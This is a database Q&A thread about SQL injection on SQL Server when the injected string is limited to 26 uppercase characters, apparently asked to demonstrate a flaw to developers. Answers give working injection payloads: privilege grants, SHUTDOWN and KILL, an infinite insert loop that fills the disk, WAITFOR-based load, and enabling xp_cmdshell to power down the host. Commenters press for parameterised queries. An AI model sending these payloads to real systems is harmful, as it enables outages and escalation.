21

I'm testing for resilience against injection attacks on an SQL Server database.

All table names in the db are lower case, and the collation is case-sensitive, Latin1_General_CS_AS.

The string I can send in is forced to uppercase, and can be a maximum of 26 characters in length. So I can't send in a DROP TABLE because the table name would be in uppercase and thus the statement would fail due to the collation.

So - what's the maximum damage I could do in 26 characters?

EDIT

I know all about parameterised queries and so forth - let's imagine that the person who developed the front end that builds the query to send in didn't use params in this case.

I'm also not trying to do anything nefarious, this is a system built by somebody else in the same organisation.

Alan B
  • 407
  • 3
  • 10
  • 1
    Are we imagining or are you actually pen testing and have requirements that disallow you to avoid injection? Are you looking for a way to break his lack of security? – LowlyDBA - John M Jan 30 '18 at 14:56
  • 1
    Just beta testing so that this particular door can be firmly shut if I can demonstrate that it's a problem. – Alan B Jan 30 '18 at 15:00
  • 41
    Why is it even an option that the door is to be left open? This seems like you've already spent more time contemplating this than it would cost to bolt the door shut. I sense this as a fruitless exercise - if you come up with 10 vulnerabilities, they'll say, we'll plug those 10 vulnerabilities, and there certainly won't be an 11th. This is where "cleansing" strings got us. /facepalm – Aaron Bertrand Jan 30 '18 at 15:23
  • 5
    This is insanely vague and arbitrary question, and it can't even theoretically be addressed. There other native mitigating features of SQL Injection (permissions, sandbox, firewalls etc), and you'd have to account for all of those things in order to answer this question. – Evan Carroll Jan 30 '18 at 15:47
  • 1
    If just addressing "how much can I do with 26 char" as an academic exercise, this code golf post has some interesting techniques as well. – LowlyDBA - John M Jan 30 '18 at 16:45
  • 2
    What's enforcing the 26 character limit? The application? – Jonathan Fite Jan 30 '18 at 17:48
  • 7
    Stop it. Just stop it. If parameterized queries are remotely an option, use them. If someone else doesn't know how to use them, find a decent resource and have them read it. If they don't listen, notify a manager or supervisor they're producing critical security vulnerabilities (A nondestructive demo wouldn't hurt.) and refuse to be educated. – jpmc26 Jan 30 '18 at 23:13
  • Whoa people. I have no control over the db or the application. I am merely going to highlight a vulnerability and leave it to the developers to jump on it which they assuredly will. The 26 char limit is because the user entry field is constrained to 32 chars, I need to add a x'; and a ;-- as per the question, leaving 26 chars to play with. – Alan B Jan 31 '18 at 09:34
  • 1
    Can we assume that xp_cmdshell is enabled and Everyone has full rights to everything on drive C: ? It's the sort of thing that someone who doesn't use parameterised queries might do. – Andrew Morton Jan 31 '18 at 13:23
  • The query is built in the front end? what constitutes the front end? – Mr.Mindor Jan 31 '18 at 20:33
  • If there were no vulnerability in that few characters, it would still be a bad idea to allow SQL injection: Someone later may change the system so that the character limit for the field could be increased, getting you an instant vulnerability. Prevent surprises, close SQL injection vulnerabilities. – Wayne Conrad Feb 01 '18 at 01:21
  • @Mr.Mindor It's a WinForms application. XP_CMDSHELL would almost certainly be disabled as per the default. – Alan B Feb 01 '18 at 08:17

6 Answers6

38

Easy:

GRANT EXECUTE TO LowlyDBA

Or, I guess in this case it'd be

grant execute to lowlydba 

Take your pick of variations on this.

In all likelihood you may be able to test this now against your current system, but any number of small changes in the database over time could invalidate your testing. The character string could change, someone could create a lower case stored procedure that has destructive potential - anything. You can never say with 100% confidence that there isn't a destructive 26 character attack someone could construct.

I suggest you find a way to make the developer follow basic industry standard best security practices, if only for your own sake as someone who I presume is at least partially responsible should security breaches happen.

Edit:

And for maliciousness/fun, you could try enabling every trace flag. This would be interesting to observe. Feels like a blog post Brent Ozar would make...

DBCC TRACEON(xxxx, -1)
LowlyDBA - John M
  • 10,922
  • 11
  • 42
  • 62
  • 1
    Besides enabling trace flags: changing various random settings: SET LOCK_TIMEOUT 0;, SET LANGUAGE Malaysian;, SET ANSI_NULLS OFF: ... – ypercubeᵀᴹ Jan 30 '18 at 16:05
  • 2
    @ypercubeᵀᴹ they would all only affect your own session. – Martin Smith Jan 30 '18 at 16:06
  • @MartinSmith DBCC TRACEON(1234,-1) wouldn't – Tom V Jan 31 '18 at 08:19
  • @TomV setting trace flags at global scope was already covered in the answer. I was referring to the list of additional suggestions "besides this" in the comment. – Martin Smith Jan 31 '18 at 10:30
  • Ah ok I misread – Tom V Jan 31 '18 at 10:41
  • 2
    @MartinSmith thnx. If SET affects only session settings, how are satabase and server settings changed (ALTER DATABASE ...; ?) DROP DATABASE ..; would inflict more damage then, if it succeeded ;) – ypercubeᵀᴹ Jan 31 '18 at 13:04
  • 1
    Alter database and sp_configure mostly for DB and Server level settings. Though you might hit the 26 character limit with these. Also these specific settings at database level are only used if the client connection doesn't set them. And by default most or all do. – Martin Smith Jan 31 '18 at 13:24
  • 7
    I resemble that remark. – Brent Ozar Feb 02 '18 at 19:20
22

The SHUTDOWN command or KILL Command (pick a random number over 50) both take significantly less than 26 characters, though the account executing the application queries hopefully doesn't have sufficient permissions to run these.

Martin Smith
  • 84,644
  • 15
  • 245
  • 333
  • Usually the account wouldn't need drop table either... – Greg Jan 30 '18 at 21:45
  • 3
    @Greg yep. Though you can surmise an environment that is considering allowing SQL injection as long as the length is short isn't following security best practices and the accounts may well not be configured with minimal permissions. – Martin Smith Jan 30 '18 at 22:08
14

You could create a table that you then fill up until the end of time or disk space runs out whichever comes first.

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc
Mikael Eriksson
  • 22,175
  • 5
  • 59
  • 103
  • Nice, I was thinking of more of a one-shot though. – Alan B Jan 30 '18 at 15:08
  • 19
    @AlanB Well, then you would need something that prevents me from exploiting the weakness more than once. – Mikael Eriksson Jan 30 '18 at 15:12
  • 1
    tarnations... while 1=1 insert t values('') is 30 ... create table x(i int) => while 1=1 insert t select 0 is 27 – WernerCD Jan 30 '18 at 18:39
  • 1
    Could you use this to build up a longer command than the character limit, and then execute that? – Lawtonfogle Jan 30 '18 at 18:43
  • @Lawtonfogle Yes, I believe that would be possible. – Mikael Eriksson Jan 30 '18 at 18:46
  • I don't. You would need a string variable to exec and just the declaration will likely wipe out most of the 26 chars without getting started on concatenating values from the table. And doing the exec. DECLARE @ CHAR EXEC(@) is 22 chars on its own. – Martin Smith Jan 30 '18 at 18:59
  • 1
    @MartinSmith I thought I would just leave like this but now I just have to try it :). Will let you know if I figure it out. – Mikael Eriksson Jan 30 '18 at 19:01
  • 7
    @WernerCD x:insert t select 0 GOTO x is exactly 26 though. – Martin Smith Jan 31 '18 at 18:18
  • @MartinSmith sonofa... I knew there was something to shave 1 character. There you have it... infinite loop insert statement within 26 characters. Why do they say GOTO is the root of all evil? THAT right there. – WernerCD Jan 31 '18 at 19:05
4

Depending on your definition of damage, you could run this: WAITFOR DELAY '23:59' To be truly evil, you could use a load-testing tool to run that from 32,768 clients.

user143642
  • 49
  • 1
3

Variation based on @MikaelEriksson's answer and @MartinSmith's reply to my initial comment:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

Initially I had tried to do a WHILE statement, but the best I could do was 27 characters:

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

But Martin pointed out GOTO:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO... the root of all evil and creator of an infinite-loop insert statement in 26 characters.

With that said... it might be advantageous to stick with CHAR(99) instead of int as that would use more space. Other options either use longer names and would smash the 26 character limit... or use less storage space per row.

Full Test Code:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO
WernerCD
  • 1,225
  • 3
  • 11
  • 19
  • 1
    set @S = 'x:insert t;select 0;GOTO x'; for future compatibility of your injection attack ;) – ypercubeᵀᴹ Jan 31 '18 at 19:13
  • @ypercubeᵀᴹ You added two ;s... the second one is fine - replaces a space and is functional if not needed. The first one breaks the query - separates the INSERT statement from the SELECT statement. – WernerCD Jan 31 '18 at 19:19
  • Ah yes. That's what happens when one doesn't use separators! We don't know where each query ends and when the next starts! – ypercubeᵀᴹ Jan 31 '18 at 20:54
  • @ypercubeᵀᴹ Well, semicolon's aren't "required" (except in certain circumstances - only two places require them in TSql). So, even though I do put them in stuff I do... they aren't "normal" and even though not needing them is depreciated in 2016 - if I'm not mistaken they've been depreciated (again: NOT using them is depreciated) for the last decade. – WernerCD Feb 01 '18 at 00:50
  • 1
    @WarnerCD I know. It was more a joke on the depreciating procedure in SQL Server. It seems to take for ever. Still, it's good practice to use semicolons between statements and not only where it is required. – ypercubeᵀᴹ Feb 01 '18 at 01:16
  • 2
    @yper I doubt that it will ever be enforced. Probably there is a ton of legacy code that would need missing semi colons added with no particular business value of doing so. And it might be embedded in applications difficult or not possible to update. – Martin Smith Feb 01 '18 at 12:41
  • The amount of Stored Procedures, views and other code... the only way I see it being actually implemented would be some sort of complete refresh of the code base - ala .Net Core - where there is no compatibility between, say SQL 2016 and SQL Core 2020. If I'm not mistaken, that's how they've been able to clear some clutter from the .Net branch by going into .Net Standard. – WernerCD Feb 01 '18 at 14:32
0
XP_CMDSHELL 'SHUTDOWN -PF'

Depending on how damaging you consider a power-down to be. :-)

This does require xp_cmdshell to be enabled on the server, something that is not the case for the last few version of SQL Server. It also requires that the service account have the shutdown right, which it may or may not have.

Enabling xp_cmdshell probably goes outside your 26 character limit. Would you allow multiple injections?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE
Greenstone Walker
  • 4,319
  • 1
  • 16
  • 23
  • 1
    The EXEC is only optional if this is the first statement in the batch. Which probably won't be the case here. – Martin Smith Feb 01 '18 at 12:32
  • @Martin Smith, good comment. EXEC adds 5 characters to each procedure call line, which pushes most of them over 26 characters. I wonder if CREATE ALIAS would help here? – Greenstone Walker Feb 01 '18 at 19:39